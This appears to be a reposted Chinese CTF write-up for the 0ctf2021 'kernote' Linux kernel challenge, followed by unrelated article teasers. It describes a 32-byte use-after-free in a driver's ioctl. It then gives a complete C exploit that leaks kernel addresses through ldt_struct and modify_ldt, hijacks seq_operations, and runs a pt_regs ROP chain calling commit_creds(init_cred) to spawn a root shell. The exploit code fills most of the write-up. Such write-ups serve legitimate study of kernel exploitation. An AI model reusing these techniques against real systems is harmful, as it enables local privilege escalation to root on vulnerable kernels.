【ldt_struct】0ctf2021-kernote

news2024/9/22 15:50:15

前言 

题目给的文件系统是 ext4,所以我们只需要将其挂载即可使用:

1、创建一个空目录

2、使用 mount 将其挂载即可

3、使用 umount 卸载即可完成打包

开启了 smap、smep、kaslr 和 kpti 保护,并且给了如下内核编译选项:

Here are some kernel config options in case you need it
```
CONFIG_SLAB=y
CONFIG_SLAB_FREELIST_RANDOM=y
CONFIG_SLAB_FREELIST_HARDENED=y
CONFIG_HARDENED_USERCOPY=y
CONFIG_STATIC_USERMODEHELPER=y
CONFIG_STATIC_USERMODEHELPER_PATH=""
```

可以看到这里使用的是 slab 分配器而不是默认的 slub 分配器:

  • 开启了 Random Freelist(slab 的 freelist 会进行一定的随机化)
  • 开启了 Hardened Freelist(slab 的 freelist 中的 object 的 next 指针会与一个 cookie 进行异或(参照 glibc 的 safe-linking))
  • 开启了 Hardened Usercopy(在向内核拷贝数据时会进行检查,检查地址是否存在、是否在堆栈中、是否为 slab 中 object、是否非内核 .text 段内地址等等
  • 开启了 Static Usermodehelper Path(modprobe_path 为只读,不可修改)

 漏洞利用

驱动程序比较简单,就一个 ioctl 函数,实现了四个功能,给了一个 32 字节大小的 UAF,并且有写 8 字节的能力。

漏洞的产生在于在释放了 buf[idx] 时,虽然将其置零了,但是我们可以通过 note 继续操作释放的堆块,这里就导致了 UAF。

这里需要注意的是本题使用的是 slab 分配器,其最小的堆块大小就是 32 字节了,所以这里的 ldt_struct 也是会分配到 32 字节的 object,所以这里选择 ldt_struct 泄漏内核基地址,然后再劫持 seq_operations,利用 pt_regs 一套带走。

exp 如下:

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>

#define SECONDARY_STARTUP_64 0xffffffff81000040

size_t pop_rdi = 0xffffffff81075c4c; // pop rdi ; ret
size_t init_cred = 0xffffffff8266b780;
size_t commit_creds = 0xffffffff810c9dd0;
size_t add_rsp_xx = 0xFFFFFFFF81A1B270;
size_t swapgs_kpti = 0xFFFFFFFF81C00FB8;

int seq_fd;
char buffer[8];

void err_exit(char *msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    sleep(5);
    exit(EXIT_FAILURE);
}

void info(char *msg)
{
    printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}

void hexx(char *msg, size_t value)
{
    printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}

void binary_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\n\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

/* bind the process to specific core */
void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

int fd;
void add(size_t idx)
{
        ioctl(fd, 0x6667, idx);
}

void dele(size_t idx)
{
        ioctl(fd, 0x6668, idx);
}

void note_get(size_t idx)
{
        ioctl(fd, 0x6666, idx);
}

void note_write(size_t data)
{
        ioctl(fd, 0x6669, data);
}



int main(int argc, char** argv, char** env)
{
        bind_core(0);
        int res;
        int pipe_fd[2];
        size_t* buf;
        size_t temp;
        size_t page_offset_base;
        size_t search_addr;
        size_t kernel_offset;
        struct user_desc desc = { 0 };

        fd = open("/dev/kernote", O_RDWR);
        if (fd < 0) err_exit("Failed to open /dev/kernote");

        add(0);
        note_get(0);
        dele(0);

        page_offset_base = 0xffff888000000000;
        desc.base_addr = 0xff0000;
        desc.entry_number = 0x8000 / 8;
        syscall(SYS_modify_ldt, 1, &desc, sizeof(desc));
        while (1)
        {
                note_write(page_offset_base);
                res = syscall(SYS_modify_ldt, 0, &temp, 8);
                if (res > 0) break;
                else if (res == 0) err_exit("Error in leak page_offset_base by ldt_struct");
                page_offset_base += 0x4000000;
        }
        hexx("page_offset_base", page_offset_base);

        pipe(pipe_fd);
        buf = malloc(0x1000*sizeof(size_t));
        kernel_offset = -1;
        search_addr = page_offset_base;
        while (1)
        {
                note_write(search_addr);
                if (!fork())
                {
                        res = syscall(SYS_modify_ldt, 0, buf, 0x8000);
                        for (int i = 0; i < 0x1000; i++)
                                if (buf[i] > 0xffffffff81000000 && (buf[i]&0xfff) == 0x040)
                                {
                                        kernel_offset = buf[i] - SECONDARY_STARTUP_64;
                                        break;
                                }
                        write(pipe_fd[1], &kernel_offset, 8);
                        exit(0);
                }
                wait(NULL);
                read(pipe_fd[0], &kernel_offset, 8);
                if (kernel_offset != -1) break;
                search_addr += 0x8000;
        }
        hexx("kernel_offset", kernel_offset);

        pop_rdi += kernel_offset;
        init_cred += kernel_offset;
        commit_creds += kernel_offset;
        swapgs_kpti += kernel_offset;
        add_rsp_xx += kernel_offset;
        hexx("add_rsp_xx", add_rsp_xx);

        add(1);
        note_get(1);
        dele(1);

        seq_fd = open("/proc/self/stat", O_RDONLY);
        if (seq_fd < 0) err_exit("Failed to open /proc/self/stat");
        note_write(add_rsp_xx);

        asm(
        "mov r15, pop_rdi;"
        "mov r14, init_cred;"
        "mov r13, commit_creds;"
        "mov r12, swapgs_kpti;"
        "xor rax, rax;"
        "mov rdi, seq_fd;"
        "mov rsi, buffer;"
        "mov rdx, 8;"
        "syscall;"
        );

        hexx("UID", getuid());
        system("/bin/sh");

        return 0;
}

 效果如下:

彩蛋

这里调试时,又无法在 seq_operations->start 这里断住,思考了好久,最后想到了,seq_operations->start 是在 seq_read_iter 中被调用的,所以直接把断点打在 seq_read_iter 这里,然后再跟几步就可以跟到 seq_operations_start 了。以后就直接这样调试了

其实我们要注意栈回溯,如果断点断不下来,我们可以往前回溯,然后跟几步就 ok 了

参考:【CTF.0x05】TCTF2021-FINAL 两道 kernel pwn 题解 - arttnba3's blog

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1060737.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

SpringBoot大文件上传实现分片、断点续传

大文件上传流程 客户端计算文件的哈希值&#xff0c;客户端将哈希值发送给服务端&#xff0c;服务端检查数据库或文件系统中是否已存在相同哈希值的文件&#xff0c;如果存在相同哈希值的文件&#xff0c;则返回秒传成功结果&#xff0c;如果不存在相同哈希值的文件&#xff0…

GO 中的指针?

本文也主要聊聊在 GO 中的指针和内存&#xff0c;希望对你有点帮助 如果你学习过 C 语言&#xff0c;你就非常清楚指针的高效和重要性 使用 GO 语言也是一样&#xff0c;项目代码中&#xff0c;不知道你是否会看到函数参数中会传递各种 map&#xff0c;slice &#xff0c;自定…

使用正则表达式批量修改函数

贪心匹配&#xff0c;替换中的$1代表括号中的第一组。 使用[\s\S\r]代表所有字符&#xff0c;同时加个问号代表不贪心匹配:

【RP-RV1126】烧录固件使用记录

文章目录 烧录完整固件进入MASKROM模式固件烧录升级中&#xff1a;升级完成&#xff1a; 烧录部分进入Loader模式选择文件切换loader模式 烧录完整固件 完整固件就是update.img包含了所有的部件&#xff0c;烧录后可以直接运行。 全局编译&#xff1a;./build.sh all生成固件…

Java数据结构————优先级队列(堆)

一 、 优先级队列 有些情况下&#xff0c;操作的数据可能带有优先级&#xff0c; 一般出队列时&#xff0c;可能需要优先级高的元素先出队列。 数据结构应该提供两个最基本的操作&#xff0c; 一个是返回最高优先级对象&#xff0c; 一个是添加新的对象。 这种数据结构就是优…

(一)正点原子STM32MP135移植——准备

一、简述 使用板卡&#xff1a;正点原子的ATK-DLMP135 V1.2 从i.mx6ull学习完过来&#xff0c;想继续学习一下移植uboot和内核的&#xff0c;但是原子官方没有MP135的移植教程&#xff0c;STM32MP157的移植教程用的又是老版本的代码&#xff0c;ST官方更新后的代码不兼容老版本…

微信小程序button按钮去除边框去除背景色

button边框 去除button边框 在button上添加plain“true”在css中添加button.avatar-wrapper {background: none}用于去除button背景色在css中添加button.avatar-wrapper[plain]{ border:0 }用于去除button边框

数组结构与算法

文章目录 数据结构与算法稀疏数组sparse队列单向链表双向链表单向环形列表&#xff1a;CircleSingleLinkedList栈递归排序算法快速排序思路 树赫夫曼树 &#xff08;HuffmanTree&#xff09;二叉排序树&#xff08;Binary sort tree&#xff09;构建二叉树遍历二叉树 平衡二叉树…

Doris数据库BE——冷热数据方案

新的冷热数据方案是在整合了存算分离模型的基础上建立的&#xff0c;其核心思路是&#xff1a;DORIS本地存储作为热数据的载体&#xff0c;而外部集群&#xff08;HDFS、S3等&#xff09;作为冷数据的载体。数据在导入的过程中&#xff0c;先作为热数据存在&#xff0c;存储于B…

[架构之路-228]:计算机硬件与体系结构 - 硬盘存储结构原理:如何表征0和1,即如何存储0和1,如何读数据,如何写数据(修改数据)

目录 前言&#xff1a; 一、磁盘的盘面组成 1.1 磁盘是什么 ​编辑1.2 磁盘存储介质 1.3 磁盘数据的组织 1.3.1 分层组织&#xff1a;盘面号 1.3.2 扇区和磁道 1.3.3 数据 1.3.4 磁盘数据0和1的存储方式 1.3.5 磁盘数据0和1的修正方法 1.3.6 磁盘数据0和1的读 二、…

一键AI高清换脸——基于InsightFace、CodeFormer实现高清换脸与验证换脸后效果能否通过人脸比对、人脸识别算法

前言 AI换脸是指利用基于深度学习和计算机视觉来替换或合成图像或视频中的人脸。可以将一个人的脸替换为另一个人的脸,或者将一个人的表情合成到另一个人的照片或视频中。算法常常被用在娱乐目上,例如在社交媒体上创建有趣的照片或视频,也有用于电影制作、特效制作、人脸编…

华为云云耀云服务器L实例评测|Ubuntu云锁防火墙安装搭建使用

华为云云耀云服务器L实例评测&#xff5c;Ubuntu安装云锁防火墙对抗服务器入侵和网络攻击 1.前言概述 华为云耀云服务器L实例是新一代开箱即用、面向中小企业和开发者打造的全新轻量应用云服务器。多种产品规格&#xff0c;满足您对成本、性能及技术创新的诉求。云耀云服务器L…

【VUE·疑难问题】定义 table 中每行的高度(使用 element-UI)

一、如何定义 table 中每一行的 height &#xff1f; 1.table例子 <!-- 二、table --><div style"overflow: hidden;display: block;height: 68vh;width: 100%;"><el-table stripe show-header style"width: 100%" :data"tableData&q…

nodejs+vue养老人员活体鉴权服务系统elementui

系统 统计数据&#xff1a;统计报表、人员台账、机构数据、上报数据、核验报表等&#xff0c;养老人员活体鉴权服务是目前国家养老人员管理的重要环节&#xff0c;主要为以养老机构中养老人员信息为基础&#xff0c;每月进行活体鉴权识别并统计数据为养老补助等管理。前端功能&…

开箱报告,Simulink Toolbox库模块使用指南(七)——S-Fuction Builter模块

S-Fuction Builter S-Fuction Builter模块&#xff0c;Mathworks官方Help对该部分内容的说明如下所示。 DFT算法的原理讲解和模块开发在前几篇文章中已经完成了&#xff0c;本文介绍如何使用S-Fuction Builter模块一步到位地自动开发DFT算法模块&#xff0c;包括建立C MEX S-Fu…

水浒传数据集汇总

很喜欢《水浒传》&#xff0c;希望能将它融入我的考研复习中&#xff0c;打算用水浒传数据来贯穿数据结构的各种知识&#xff0c;先汇总下找到的数据集 天池上看到的一个水浒传文本数据集&#xff1a;https://tianchi.aliyun.com/dataset/36027 Hareric/masterworkNLP: 基于社…

CUDA C编程权威指南:1.1-CUDA基础知识点梳理

主要整理了N多年前&#xff08;2013年&#xff09;学习CUDA的时候开始总结的知识点&#xff0c;好长时间不写CUDA代码了&#xff0c;现在LLM推理需要重新学习CUDA编程&#xff0c;看来出来混迟早要还的。 1.CUDA 解析&#xff1a;2007年&#xff0c;NVIDIA推出CUDA&#xff08…

软件或游戏提示msvcp120.dll丢失的5种常用解决方法,msvcp120.dll文件全面解析

在当今数字化的时代&#xff0c;我们的生活已经离不开各种软件和游戏。然而&#xff0c;有时候我们可能会遇到一些技术问题&#xff0c;比如“软件或游戏提示msvcp120.dll丢失”。这个问题对于许多人来说可能很棘手&#xff0c;但是只要掌握了正确的解决方法&#xff0c;就能轻…

软件工程第四周

模型建立的基本理念 模型是对现实世界复杂系统的简化和抽象&#xff0c;目的是为了更好地理解、分析和预测系统的行为。它能够真实反映研究对象的整体结构 or 某一侧面&#xff08;功能、反应&#xff09;的本质特征和变化规律。可以建立不同的子模型用于反应系统不同的侧面。同…

《机器人SLAM导航核心技术与实战》第1季:第6章_机器人底盘

视频讲解 【第1季】6.第6章_机器人底盘-视频讲解 【第1季】6.1.第6章_机器人底盘_底盘运动学模型-视频讲解 【第1季】6.2.第6章_机器人底盘_底盘性能指标-视频讲解 【第1季】6.3.第6章_机器人底盘_典型机器人底盘搭建-视频讲解 第1季&#xff1a;第6章_机器人底盘 先 导 课…